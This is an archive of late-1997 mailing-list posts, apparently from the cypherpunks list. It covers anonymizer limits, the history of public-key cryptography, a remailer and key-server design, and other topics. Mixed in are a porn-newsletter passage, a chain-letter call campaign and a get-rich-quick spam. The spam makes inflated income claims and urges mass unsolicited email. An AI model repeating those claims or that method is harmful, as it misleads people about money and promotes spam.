free thumbnails. Click on asians, blondes, brunettes, teens,
girl & girl, hardcore and more.  Well done website. Surf it.
Erotic.com .............. http://www.erotic.com/welcome.html

NAAKITA'S NASTY NEIGHBORS
This would be a great neighborhood to live in!  This website
does not mess around!  You got the pix, fast. There are only
a few but what they do have is great.  Beaver licking babes,
panty pix and slit  fingering fun.  Point your browser here!
Naakita's Nasty Neighbors ......... http://www.ethersex.com/

MALL RATS
Tis the season to hit the malls and here is one you'll like!
Featuring, "In the  Lingerie Department!  In the Ladies Room
Ladies Only!  Getting  something to drink..."  Lots of nasty
looking vixens. See the "Mallrats of the Week", it's skanky!
Mall Rats ......................... http://www.mallrats.com/

FREE STREAMING VIDEO
Please note that most of these feeds require a Netscape bro-
wser in order to successfully view them. Unfortunately Micr-
osoft's browser does not have all the features of Netscape's
yet.  However, many of the feeds use the RealPlayer and will
work in most browsers.  If you do not have Netscape and want
a free copy click here ... http://www.netscape.com/download/
Four LIVE feeds ........... http://www.holler2.com/vidx.html

CHAT WITH OTHER READERS
This chat is growing fast, and already there are a number of
regulars  you will meet most days.  It's good to see Eureka!
readers interacting with each other and having a great time!
Just surf in and have fun! ...... http://137.39.63.229/chat/

THE BEST PHONE SEX
Live Hetero 1-on-1, 2-on-1, group, dateline...1-800-644-8779
FREE Hetero live 1-on-1 (international call)...011-678-77416
FREE Gay live 1-on-1 (international call)......011-678-75629 

AMATEUR SITE OF THE DAY
LICKS 'N KISSES LISA:  Unique is  the only  word to describe
this kinky amateur. Her site not only features gothic porno-
graphy, but she always has pictures of her friends! She ref-
ers to  her photo gallery  as the "tomb",  do we have to say
any more? Visit her! ....... http://amateurindex.com/eureka/

TODAY'S FREE PIX
In the  new year we  will be creating a  much simpler system
for you to view your FREE pix. It will also offer the oppor-
tunity for you to view previously published pix you may have
missed.  In addition you'll  be able to select your favorite
categories  of photos  such as  lesbian,  asian,  teen(18+),
group sex,  and so on.  We think  you will  simply  love it!
Pic  1 ...................... http://137.39.63.229/?V6aHEFIJ
Pic  2 ........................... http://137.39.63.229/?106
Pic  3 ...................... http://137.39.63.229/?jlAPiKDn
Pic  4 ........................... http://137.39.63.229/?107
Pic  5 ...................... http://137.39.63.229/?qR5_vP4b
Pic  6 ........................... http://137.39.63.229/?108
Pic  7 ...................... http://137.39.63.229/?bmUhUnoZ
Pic  8 ........................... http://137.39.63.229/?109
Pic  9 ...................... http://137.39.63.229/?XLXbktZE
Pic 10 ........................... http://137.39.63.229/?110

PLEASE VISIT THIS FINE EUREKA! MEMBER SITE
Playgal - No.1 in Internet Hardcore!
http://www.playgal.com/playgal/banner_eureka.html
Playgal presents FREE LIVE FUCKING, and over 2,000 FREE XXX
MOVIES!

------------------------------------------------------------
If you would like to unsubscribe from the Eureka! Newsletter
simply select reply and send us a quick reply to this email.
------------------------------------------------------------





From nobody at REPLAY.COM  Sun Dec 28 10:30:41 1997
From: nobody at REPLAY.COM (Anonymous)
Date: Mon, 29 Dec 1997 02:30:41 +0800
Subject: The Anonymizer and IRC
Message-ID: <199712281825.TAA04672@basement.replay.com>





The Anonymizer does in fact only provide restricted access by http and NO 
IRC.
For instance, the Anonymizer blocks Dejanews, Hotmail and mailto.cgi forms.
I could understand that they block sites that explicitly request to be 
blocked to prevent abuse.
But what if I want to make a mailto.cgi or IRC script available by http.
Should people be disallowed from accessing this through The Anonymizer 
even if I do not request it?
It should at least be possible to allow access to such scripts for The 
paid accounts.
If they keep logs in case of a U. S. law violation, I see no problem of 
liability arosing from such access.
They have also restricted their shell access for which you pay US $ 7 per 
moth to IRC.
Does that sound more reasonable than blocking the nntp port?
Does anyone know other ISPs who provide privacy and do not block 
abitrarily without _prior request_ from the site in question?
A private interest can do anything, but anyway.

*                                                                   *
*===================================================================*
For subscription info see http://www.efga.org/about/maillist.html






From info at aidsactionleague.org  Mon Dec 29 02:43:43 1997
From: info at aidsactionleague.org (info at aidsactionleague.org)
Date: Mon, 29 Dec 1997 02:43:43 -0800 (PST)
Subject: 10 Minute Bank of America Boycott
Message-ID: <199712291043.CAA10684@toad.com>


PLEASE TAKE 10 MINUTES!


CALL 1-800-678-2632.  

TELL BANK OF AMERICA TO GET GOVERNOR WILSON TO DO MORE TO PREVENT AIDS. Call Bank of America and tell them to urge Governor Wilson to declare a Medical State of
Emergency for AIDS in California.

WHY A STATE OF EMERGENCY FOR AIDS? Because AIDS is a health issue and should be in the hands of the Health Department. 

WHY Bank of America?  BofA spends half a million dollars a year lobbying. Bank Of America  makes large contributions to Governor Wilson. When Bank of America speaks Governor Wilson listens.  

WHY CALL? If you call 1-800-678-2632 and spend ten minutes on the phone,  it costs
BofA approximately $2.50. BofA is paying for the call. 

WHY A TEN MINUTE BOYCOTT? If 5 to 10 thousand people call a day and they each spend 10 minuteds on the the phone---- the phone bill for BofA will be enough to convince the bank to help, to do something decent for society.

WHAT TO SAY?  "Hi, my name is _____________, I am a consumer. I am very
concerned about the spread of the AIDS epidemic and the fact that Governor Wilson is
doing nothing about it. I know that Bank of America spends a lot of money to influence
representatives like Governor Wilson.  I want BofA to tell Governor Wilson to do more to
prevent AIDS. I want Bank Of America to do something decent for society." 

 (one call only please.)

PLEASE FORWARD THIS MESSAGE:  Forward this E-mail to ten friends and have them
e-mail ten friends...don't break the chain! 

Thank you,

Marc Keyser
President
AIDS Action League
______________________________________________________________


Visit our web site: www.aidsactionleague.org
e-mail: info at aidsactionleague.org


///////////////////////////////////////////////////////////////////////////////
 If you wish to be removed from this advertiser's future mailings, please reply 
with the subject "Remove".
////////////////////////////////////////////////////////////////////////////////






From nobody at REPLAY.COM  Sun Dec 28 11:54:09 1997
From: nobody at REPLAY.COM (Anonymous)
Date: Mon, 29 Dec 1997 03:54:09 +0800
Subject: NY Times on history of public key crypto
Message-ID: <199712281935.UAA12513@basement.replay.com>




      By PETER WAYNER
      
   T o the list of institutions that Tony Blair's Labor Party is shaking
   up, add the British Secret Service. Last week, the British
   government's eavesdropping organization known as the Government
   Communications Headquarters, or GCHQ, posted a document to its Web
   site describing its role in the discovery of public key cryptography.
   
   The set of algorithms, equations and arcane mathematics that make up
   public key cryptography are a crucial technology for preserving
   computer privacy in and making commerce possible on the Internet. Some
   hail its discovery as one of the most important accomplishments of
   20th-century mathematics because it allows two people to set up a
   secure phone call without meeting beforehand. Without it, there would
   be no privacy in cyberspace.
   
   The move by the once dusty and secretive organization is clearly an
   attempt to recast its image as a pioneering leader of cyberspace.

   For the last 20 years, the public gave credit for the discovery to
   Martin Hellman, a professor at Stanford University, and two graduate
   students who worked with him at the time, Ralph Merkle and Whitfield
   Diffie. They started publishing their work in 1976.
   
   Three professors at the Massachusetts Institute of Technology at the
   time, Ron Rivest, Adi Shamir and Len Adleman soon followed with
   another similar approach known by their initials, RSA, which went on
   to become one of the dominant solutions used on the Internet.
   
   Before public key cryptography, anyone who wanted to use a secret code
   needed to arrange for both sides to have a copy of the key used to
   scramble the data, a problem that requires either trusted couriers or
   advance meetings. PKC, as it is sometimes known, erased this problem
   by making it possible for two people, or more properly their
   computers, to agree upon a key by performing some complicated
   mathematics. There is no publicly known way for an eavesdropper to
   pick up the key by listening in.
   
   T he new document details how three employees of the British
   government discovered the same approach several years earlier, but
   kept it a secret for reasons of national security. A spokesman for the
   British government's GCHQ, said that the document's release is part of
   a "pan-governmental drive for openness" pushed by the Labor party.
   
   The document describing the steps of invention taken by the spies was
   written by James Ellis, a mathematician and cryptographer who died
   less than a month ago. In it, Ellis describes how he suggested the
   existence of what he called "non-secret encryption" in 1970s.
   
   Ellis says that Clifford Cocks followed with a more practical solution
   in 1973 that was essentially the same thing as the algorithm published
   by Rivest, Shamir and Adleman. The paper also says that Malcolm
   Williamson discovered an algorithm in 1974 that was very similar to
   the work of Diffie and Hellman. They did not replicate the work done
   by Merkle and Hellman.
   
   In a telephone interview from his office in La Jolla, Calif., Malcolm
   Williamson said that he felt bad when others discovered the solution,
   but concluded, "I was working at the British government and that's
   just one of the restrictions you work under when you work for the
   government."
   
   Hellman said in a telephone interview that he agrees. "It must be
   really difficult for them to watch other people get the credit," he
   said. "But that's the agreement they made when they agreed to work in
   secret." He was also quick to point out that the secret branches of
   the government have the help of large budgets and classified
   knowledge.
   
   "Diffie, I and Merkle were working in a vacuum." he said. "If we had
   access to all of the classified literature of the previous 30 years,
   it would really be an advantage."
   
   For his part, Diffie said in a telephone interview from Cirencester,
   England, that he thinks that GCHQ never realized the deep importance
   of what the mathematicians discovered. He said that he met James Ellis
   several years ago and "within an hour of meeting me, Ellis said, 'You
   did much more with this than we did.'"
   
   Diffie also suggested that the history of ideas is hard to write
   because many people often find solutions to different problems only to
   later determine they've discovered the same thing.
   
   T he story keeps going farther back. Recently, Matt Blaze, a
   cryptographer employed at Bell Labs, got a copy of a memorandum from
   the desk of John F. Kennedy about the problem of securing nuclear
   weapons with launch codes. Steve Bellovin, a colleague of Blaze's at
   Bell Labs, said: "When I read this memo, I don't see anything that
   would require public key cryptography. But I think they're in the
   neighborhood. For so many things, the answer is the easy part. Asking
   the question is the hard part. I think this got them asking the
   questions."
   
   Historians of science will certainly spend time sorting out the
   various claims. David Kahn, the author of the best selling history The
   Codebreakers, said that he recently asked the National Security Agency
   to declassify some documents so he could write the proper history of
   public key cryptography. He said an NSA staff member told him, "I've
   spoken to the guys who did this, but they don't want to be interviewed
   now." This suggests that the NSA also may have discovered public-key
   systems or had a hand in exploring them. Kahn hopes that the NSA will
   follow in Britain's lead so an accurate history can be written.
   
   Jim Bidzos, the chief executive of RSA Data Security, the division of
   the publicly traded Security Dynamics that holds the patent on the
   RSA, said that the announcement in Britain will have no effect on the
   company's business. Patent law is based on the notion that the
   inventors trade knowledge about the invention in return for an
   exclusive license to practice it.
   
   In fact, it is an interesting question to wonder whether Britain could
   have changed the history of cyberspace by disclosing the invention and
   encouraging the development of widespread cryptographic security for
   the public.

   This may have been a wise move during the height of the cold war in
   the 70's when there were thousands of Soviet tanks poised on the edge
   of western Europe. Williamson also hastens to note that mathematical
   equations weren't considered patentable in Britain at the time and
   without a patent anyone could have used the invention. The RSA patent
   in the United States was one of the first and it is generally accepted
   to have expanded the definition.
   
   Others are pushing a similar question. In a debate on cryptography
   policy at the University of Maryland, Baltimore County, John Gilmore,
   one of the founders of the Electronic Frontier Foundation, said the
   NSA should be more open. While national defense is very valuable, he
   suggested that the need for security in cyberspace for all citizens is
   going to be essential in the future.
   
   In the long run, the history of the discovery of public key
   cryptography is certain to be written and rewritten often in the next
   several years as more documents emerge from secret government
   laboratories. The spokesman from GCHQ promises that more documents are
   on the way.
   
   Hellman is philosophical. "In a way, these things are like gold
   nuggets that God left in the forest." he said. "If I'm walking along
   in the forest and I stubbed my toe on it, who's to say I deserve
   credit for discovering it?"
   
   He is quick to point out, however, that he shared the discovery with
   everyone.
     _________________________________________________________________
                 Copyright 1997 The New York Times Company
                                      
   






From alan at clueserver.org  Sun Dec 28 11:56:10 1997
From: alan at clueserver.org (Alan Olsen)
Date: Mon, 29 Dec 1997 03:56:10 +0800
Subject: An interesting atricle on "High Tech" in Wash DC
Message-ID: <3.0.5.32.19971228112223.011b59a0@clueserver.org>



While looking for something else on cnet.com, I found this article on
technology in Washington D.C..  Think your leaders are clueless on the
technology?  That is because none of them use it!  Take a read...

http://www.cnet.com/Content/Voices/Hart/111397/index.html


---
|              "That'll make it hot for them!" - Guy Grand               |
|"The moral PGP Diffie taught Zimmermann unites all| Disclaimer:         |
| mankind free in one-key-steganography-privacy!"  | Ignore the man      |
|`finger -l alano at teleport.com` for PGP 2.6.2 key  | behind the keyboard.|
|         http://www.ctrl-alt-del.com/~alan/       |alan at ctrl-alt-del.com|






From tcmay at got.net  Sun Dec 28 12:37:58 1997
From: tcmay at got.net (Tim May)
Date: Mon, 29 Dec 1997 04:37:58 +0800
Subject: Andy Grove on Net Censorship
Message-ID: 




I just ran across this on Usenet, a quote from several months back:


*   C-SPAN Television, Wednesday June 5th, 1997
*
*   Andrew Grove, Chairman & CEO of Intel Corporation, is asked whether
*   bomb-making information should be censored from the Internet.
*
*   "No. The same information is available in libraries, and we don't
*   censor libraries, nor should we. When I was thirteen I built a
*   nitroglycerin bomb. It was an incredibly stupid thing to do,
*   and I knew someone who had their hand blown off, but I am
*   adamantly against censoring such material."
*
*   "And unlike a library, a parent can buy a program that uses keyword
*   monitoring to disallow Internet traffic per the parents' wishes.
*   Such a program is available now, and costs only $29."

Very well put. Maybe Grove can be convinced that Intel should not be part
of the Big Brotherish "Key Recovery Alliance."

--Tim May

The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From ravage at ssz.com  Sun Dec 28 14:00:47 1997
From: ravage at ssz.com (Jim Choate)
Date: Mon, 29 Dec 1997 06:00:47 +0800
Subject: Africa & Anthrax - A timely model? [CNN]
Message-ID: <199712282218.QAA01689@einstein.ssz.com>



Forwarded message:

>          MYSTERY DISEASE IN KENYA AND SOMALIA COULD BE FORM OF ANTHRAX
>                                        
>      Web posted at: 3:30 p.m. EST (2030 GMT)
>      
>      NAIROBI, Kenya (AP) -- An unexplained disease that has caused scores
>      of Kenyans, Somalis and livestock to bleed to death this month may
>      be a form of anthrax, medical experts said Sunday.
>      
>      "At the moment, the evidence that we have agrees the most with an
>      outbreak of anthrax," said Dr. Douglas Klaucke, acting World Health
>      Organization representative in Kenya.
>      
>      The evidence includes symptoms -- high fever, diarrhea, intestinal
>      problems, vomiting blood -- that are similar to those of intestinal
>      anthrax, a rare manifestation of the illness that causes stomach
>      ulcers and inflames the intestines.
>      
>      Another sign that anthrax may be to blame is that the disease can be
>      contracted by eating undercooked, infected meat -- a common practice
>      in Somalia and Kenya, where recent flooding has marooned thousands
>      of people who are eating carcasses of sick animals, Klaucke said.

With the recent announcement of Anthrax innoculations to be given to all US
military personnel because of potential bio-war applications many questions
have come up about what this means both militarily as well as for civilian
targets.

Such outbreaks as the above give real-world examples of the virulence of the
pathogen, efficiency of medical & political responces, as well as a base
lines to compare to models for disease spread.

In short, such instances as above represent the 'best effort' responce that
could be expected.


    ____________________________________________________________________
   |                                                                    |
   |      Those who make peaceful revolution impossible will make       |
   |      violent revolution inevitable.                                |
   |                                                                    |
   |                                          John F. Kennedy           |
   |                                                                    |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage at ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|






From schear at lvdi.net  Sun Dec 28 14:14:31 1997
From: schear at lvdi.net (Steve Schear)
Date: Mon, 29 Dec 1997 06:14:31 +0800
Subject: Netcraft Web server survey
In-Reply-To: 
Message-ID: 



The Web continues its staggering growth.  According to the just published Netcraft Web server survey, http://www.netcraft.co.uk/Survey , the most popular servers increased in number from 1274396 in November to 1408805 in December (a compound annual rate of over 12%.)

Microsoft's Microsoft-IIS was the bigest gainer both in percentage (2.83) and numbers of sites (70838), while Apache continued to easily hold the high ground gaining only a somewhat smaller 60,000 new sites. The biggest losers were Netscape, slipping almost 3% in marketshare and NCSA.  C2's Apache server, while gaining a healthy 1500 new sites for the month (for an annualized rate of 18,000 unit sales), lost 0.1% in overall marketshare.


                               Top Servers

                 Server       Nov 97 Percent Dec 97 Percent Change
          Apache              695283   44.74 753341   44.79  0.05
          Microsoft-IIS       280917   18.08 351755   20.91  2.83
          Netscape-Enterprise  82304    5.30  88616    5.27 -0.03
          NCSA                 68719    4.42  68097    4.05 -0.37
          Stronghold           40276    2.59  41829    2.49 -0.10

--Steve







From 650reports at hotmail.com  Mon Dec 29 06:33:42 1997
From: 650reports at hotmail.com (650+ Reports on a CD...)
Date: Mon, 29 Dec 1997 06:33:42 -0800 (PST)
Subject: Start Making Money in '98...!!!
Message-ID: <199712294180LAA49925@post.exp.net>


Hello,

What we have to offer is a great opportunity for you to start your own business
re-selling (Over 650+) good reports.  You'll not only help others with useful 
information but just as important, you'll be helping yourself achieve your own
financial goals...

Are you interested in making an extra $10,000, $50,000, or $100,000 a month?

YES! $100,000 a month.  If you believe that someday you'll get that big break, get
ready because THIS IS IT!  Just imagine, no more living from paycheck to
paycheck. Become FINANCIALLY INDEPENDENT. Buy your dream home.
Purchase that sports car in cash. Never again worry about living in debt.

"I currently make $1,350 to $1,800 a day doing this part-time. One week after I
started, the checks showed up in my mailbox. I can't believe it!" 
       - Lynette from Glendale, CA.

I'm sure you've seen couples on TV, sitting on a couch, holding each other's hand
& claiming to make this sort of MONEY. If all these people were lying, don't you
think you would have heard about it from the Attorney General or Hard Copy?
STOP thinking that no one can possibly make this kind of money!!!

"I was probably the most skeptical person out there, until I saw how much my
brother-in-law was making. Then I HAD to try it.  The first day, I got checks that
totaled $5,693. Yesterday I made $4,374." 
      - Michael from Everette, WA

$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$

Are you ready to change your life forever?

$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$

MAKE HUGE PROFITS IN THE INFORMATION AGE
Selling information is one of the FASTEST and EASIEST ways to get into the mail
order business. Ordinary people just like you and me are doing this and smiling all
the way to the bank. It is only in this amazing business can you start out with
practically NO CAPITAL and with literally NO LIMIT to your profits.

I bet you know someone who would PAY YOU $5-$15 to know:

HOW TO GET $1,000,000 WORTH OF LIFE INSURANCE WITH NO CASH!
HOW TO STOP PAYING PROPERTY TAXES ON YOUR HOME
WIPE OUT DEBTS WITHOUT BANKRUPTCY
INSIDER SECRETS TO PERSONAL TAX SHELTERS
HOW TO REDUCE YOUR GROCERY BILLS BY 50%
TOP 10 WAYS TO MAKE MONEY ON THE INTERNET

All you have to do is buy our CD-ROM which contain over 650+ how to money
making reports, reprint on diskettes or paper & SELL, SELL, SELL !!! 
CD-ROM comes with Unlimited Reprint & Resell license.  You can sell the reports
individually or in sets through classified ads, personal contacts, flyers, or on the
Net. Sell them HOWEVER you want and for as MUCH as you want. 
YOU KEEP ALL THE PROFIT.

HERE'S HOW THIS AMAZING PROGRAM WILL MAKE YOU $$$$$

Let's say that you decide to start small, just to see how it goes, and you send out
only 2,000 email ads a day. (You obviously already have an internet connection so
e-mail advertising is FREE.)  
Your email would read:

SPECIAL REPORT
"Live in a $100,000 Home without ANY Money" Send $10 & self- addressed
stamped envelope to:

YOUR NAME
YOUR ADDRESS
YOUR CITY AND STATE

Let's also say that the mailing only receives a tiny response rate of not  5% , not
1% but 0.5%. That comes out to 10 orders a day X $10.00 per order. That's $100 in
additional income a day for 5 minutes of work. Imagine, that comes out to an 
additional $36,500 a year. Can you use an extra $36,500 a year for 5 minutes of
work?  BUT what would happen if you sent out 100,000 emails? At the smaller
response rate of  0.35% , YOU WILL EARN $105,000.00 OF SPENDABLE CASH
IN JUST ONE MONTH!Note: Some programs out there send email at 250,000 - 
330,000 e-mails an HOUR with a 28.8 modem. 

Note: Currently there are over 90 million email accounts users & predicted to be
500 million by the year 2000.  

When you order from us, you get:

*Our BEST-SELLING 650+ money making reports on CD-ROM.
*Step-by-step proven instructions on how you can start a huge business selling
information & become financially successful.  *The best methods for bulk e-mailing
and obtaining e-mail lists.Other money making programs sound great,  they say
place tiny classified ads. They forget to tell you that, you have to WRITE A BOOK.
With our CD-ROM, you can begin selling, TODAY!!!

E-Z ORDER FORM :
Please print out this form and fill in the blanks legibly to send 
along with payment.


I WOULD LIKE TO ORDER THE FOLLOWING:
QTY		TITLE

_______	CD-ROM (650+ Reports with Full Reprint Rights)

Advertised before for $99.00 NOW *ONLY $59.00*


Name ____________________________________________________

Street Address ____________________________________________

City, State, Zip_____________________________________________

Phone Number_____________________________________________

Email Address_____________________________________________

Payment method  ____	credit card
____ 	check
____ 	money order


Account Number: _____________________________________

Expiration Date:    _____________

Name on Card:    ______________________________________

Signature:  ___________________________________________



   ORDER AMOUNT            _______________

+ $4.00 shipping/handling = _______________
                                                  TOTAL

Send payment along with this completed form to:

Liberty Publishing
2107 W. Commonwealth Ave. #264
Alhambra, CA 91803

Comes with a 30 DAY MONEY BACK GUARANTEE


m





From ravage at ssz.com  Sun Dec 28 14:57:27 1997
From: ravage at ssz.com (Jim Choate)
Date: Mon, 29 Dec 1997 06:57:27 +0800
Subject: Some ideas (fwd)
Message-ID: <199712282315.RAA01843@einstein.ssz.com>



Hi Doug,


Forwarded message:

> From: "Douglas R. Floyd" 
> Subject: Some ideas
> Date: Sun, 28 Dec 1997 16:18:14 -0600 (CST)

> I have been pondering this:  To save on bandwidth, I wonder about having
> two types of OSS sites

OSS?

> -- a "control" site which switchboards incoming/outgoing
> stuff to "data" sites.

Which needs to have access to at least *all* incoming requests for data as
well as a channel to other switchboard sites so they can catalog those
requests and won't have to look them up more than once, after that they
simply use the request as a key to a index of sources.

>  This would help with distributing bandwidth load,
> and since "data" sites just store encrypted items, the "control" site can
> be made more secure.

I suspect all the traffic would need to be encrypted to get this to work
well. The channels between the switchboards and the databanks also need to
be encrypted in such a manner that it is transparent even to the operators
what the keys are at any given time. Also, assuming the user provides a
request to a switchboard, who then determines the correct server through
some mechanism, contacts that databank server and requests a transmission,
and finaly the databank server sends the data to the user. How do we track
the various keys and verify that the user making the request is the user
getting the data? Is the switchboard and databank servers simply tracking
the key provided by the original request sufficient?

> Another random thing is a way to build a CD-ROM jukebox that would
> automatically burn a CD when data meets the requirements of "valuable", and
> "offline".  Then, when the data is needed again, its fished out and loaded.

What you need is a pick-and-place system. It would consist of a handling
mechanism, a burning mechanism, a jukebox mechanism, and a CD storage
mechanism. Personaly I wouldn't want them all in one in case any one broke
down the rest of the system could still keep working.

Valuable to who? For how long? Who pays for the stack of CD's up front? What
kind of amortization schedule are we looking at for paybacks? Since we are
looking at a automated system, what does 'offline' mean when the
pick-and-place goes over to the rack and pulls the CD to place in the
jukebox and it is now online? How do we charge the user?

> Some type of IP encapsulation using public key encryption, so machine A
> that is talking to machine D would encapsulate the whole packet with machine
> D's key, C's key, and B's key.  Then the packet is sent to box B, which
> decodes it, looks where to send it, then kicks it to C.  C then looks at
> it, sends it to machine D.  Basically a "remailer", where each packet is
> a message.
> 
> Is this feasable at all?

Yeah, mixmaster does something similar to this. The problem I have with
mixmaster is that the sender has to set up the chaining and keys and such.
There simply isn't a clear mechanism (as I understand mixmaster) to do this
transparently. One look at the chaining file that is required is enough to
explain why granny doesn't use chained mixmaster remailers.

Now if we want to do it in the protocol stack then we have a problem because
it isn't supported in the standard.

What I would do is a little different. An example...

Let's assume we have 4 remailers, A to D. The sender sends a packet to A
that's header is in the clear. Once A gets it, addressed to an appropriate
user to invoke the decryption process, it decrypts the body of the packet.
What it assumes is there is another valid packet with unencrypted header
which it passes on to B. B gets it and de-crypts it and passes it on. This
happens in C and D as well. At no point does any of the processes need to do
anything other than use its own key to decrypt. If that fails the packet is
trashed. Since no information about its previous source was passed to D from
C this failure won't propogate back up the chain, providing a measure of
source security. D takes the packet, whose body is still encrypted and
remails it to the next address in the header, in this example the actual
destination.

The issue for me is how do the remailers handle the pass-off. Here are a
few of the choices:

 -  the existing mechanism which is completely dependant on the user and
    their technical skill. I don't like this one, too people intensive.

 -  the sender does it by reference to a key-server and automated chaining
    software. The software would ask for a sequence of available remailers
    from the user, go off to the key-server and get the appropriate keys,
    and create the nested encrypted packets. Then it only has to send them
    on their way. Still a tad too technical for granny I suspect.

 -  the sender provides a source destination and a number of remailers. The
    software goes to the key-server, looks up the available remailers
    (hopefuly there are more than the number requested by the sender) and
    selects the appropriate number through some mechanism (PRNG is my
    choice). It then creates the chained packet and sends it on its way.
    I suspect granny could deal with this one, she knows how to count and
    has sonnie's email address in her mailer software.

What I like about this is the key server represents a mechanism for income.
It would cost say $1/month to store your key on the server and then anyone
who made the request would get it. The key would automaticaly age and expire
if the user didn't keep paying the fee. Further, there would be no
distinction between remailers, users, or other processes as to the actual
key. It would consist of a list similar to:

 :::

for example:

ravage at ssz.com:12/30/98:PGP:3$@48 at DDcq*

(note that some sort of escape mechanism needs to be included so that :'s
 can be used in keys as well. I put the actual key last. That way I know
 that any : after the encryption_protocol is a part of the key.)

I would have to make requests of the sort:

:

ie:

ravage at ssz.com:*

Where '*' would return a complete listing for that ID of all registered
keys.

So to use it I would send an email with the key request(s) in the body
one to a line and sent it to 'key-server at ssz.com'. The key-server would
return something like:

Request:

ravage at ssz.com:*

Key(s):

ravage at ssz.com:12/30/98:PGP:#sD81xD@)d

Now there is a problem if the key is multi-part. To handle those I would put
each key part on a seperate line:

Key(s):

ravage at ssz.com:12/30/98:Multi-Key:23$@%dSk*
ravage at ssz.com:12/30/98:Multi-Key:4dseP2*!

So what you would end up with is:

Request:



Key(s):



Request:



Key(s):




Request:



Key(s):




Hope that helps. If you use the key server idea as I am explaining it please
make shure I get credit for it. As far as I am aware nobody else is using a
system similar, nor has one been proposed by other parties. If you find this
is an error on my part please let me know.



    ____________________________________________________________________
   |                                                                    |
   |      Those who make peaceful revolution impossible will make       |
   |      violent revolution inevitable.                                |
   |                                                                    |
   |                                          John F. Kennedy           |
   |                                                                    |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage at ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|






From tcmay at got.net  Sun Dec 28 15:02:28 1997
From: tcmay at got.net (Tim May)
Date: Mon, 29 Dec 1997 07:02:28 +0800
Subject: Why I Support Microsoft
In-Reply-To: 
Message-ID: 



At 1:53 PM -0700 12/27/97, Patrick May wrote:


>The President should issue an executive order mandating that all
>government agencies immediately remove all Microsoft operating systems
>from their machines, to be replaced with Linux.  All Microsoft
>products should be eliminated as well.  The standard text format
>should be LaTeX.  All businesses receiving money from government
>contracts should be required to use the same tools.
>
>     This would cut down dramatically on the money spent on software
>by the government, eliminate compatibility problems between users of
>different versions of Microsoft products, encourage enormous growth in
>the Linux software market, and guarantee that Microsoft would never
>again be considered a monopoly.  All this without ever entering a
>courtroom.

Much to be said for this "free market solution." Certainly the Justice
Department has no business screaming "monopoly!" if it's still
"standardizing" on MS products.

Though I don't know just how pervasive Microsoft products are within the
government and military offices, I'd venture that MS products are indeed
pervasive.

I don't believe there are any requirements that documents sent in to
agencies be in some proprietary MS format, and certainly none that
citizen-units only communicate with the gubment in approved Excel or Word
language. Though this could be coming, as the lines between government and
industry are further blurred.

(E.g., Microsoft agrees to unbundle Explorer in exchange for the USG
requiring all paperwork be done with Microsoft Office. Not likely, but a
scary thought.)

On the other hand, requiring _any_ language, program, or OS is probably a
mistake. If the Arctic Cartography Office wants to keep using its Macs, why
should some bureaucrat force them to scrap their Macs and use Linux?

(Yeah, yeah, a form of Linux, MK-Linux, runs on Macs. But Adobe Photoshop
doesn't run under Linux. And Mathematica doesn't run under Linux for the
Mac (last I checked). And so on. The point is, why standardize at the end
of a gun?)

--Tim May

The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From anon at anon.efga.org  Sun Dec 28 16:17:16 1997
From: anon at anon.efga.org (Anonymous)
Date: Mon, 29 Dec 1997 08:17:16 +0800
Subject: Some interesting WWI Info
Message-ID: <0cf851a05908c4d03cde79cf0fd3f18b@anon.efga.org>



SFRT 1 - Reading
Category 22,  Topic 2
Message 621       Wed Dec 17, 1997
T.TELENKO [MilTech Bard]     at 08:05 EST

  The Autumn 1997 issue of MILITARY HISTORY QUARTERLY had an article by
Norman Polmar and Thomas Allen on U.S. military plans to gas Japan during
Operation Olympic.

  They ran accross references and put in a FOIA request.  Eventually they
got a copy of a document labeled "A Study of the Possible Use of Toxic Gas
in Operation Olympic."  The word "Retaliatory" was PENCILED in between
possible and use.

  Apparently there were only five of these documents circulated during WW2.
After the war in 1947 the  document was requested by the chemical corp for
historical study.  In an attempt to "Redact" history, another document was
issued to change all the copies to emphisis "Retaliatory" rather than the
reality of the US planning to use it offensively in support of the invasion
of Japan.

  The plan called for US heavy bombers to drop 56,583 tons of gas in the 15
days before the invasion of Kyushu than another 23,935 tons every 30 days
after that -- and that was just the STRATEGIC bombing campaign.  Tactical
air support was in addition to that.

  The ground weapons would contribute 1,400 tons of gas shells.  At the time
of the invasion, 144,762 tons of gas shells were available.  Another 9,356
tons would arrive every 30 days after the invasion.

  Chemical Corps casualty estimates for this attack plan were 5 million dead
with another 5 million casualties.  Ultimatly, it looks like the plan was
not approved, but prepared for since the gas to impliment it was sent to the
Pacific -- Likely as a back up to the A-bomb.

  Had the Japanese carried out their plan to kill Allied POW's and
civilians, the Allied responce would have been horrific.
 ------------
SFRT 1 - Reading
Category 22,  Topic 2
Message 622       Wed Dec 17, 1997
T.HOLSINGER [Tom]            at 09:53 EST

I wasn't aware there was an _offensive_ plan, but I knew of the scale of the
planned "retaliatory" use of gas.  These things have a tendency to snowball.

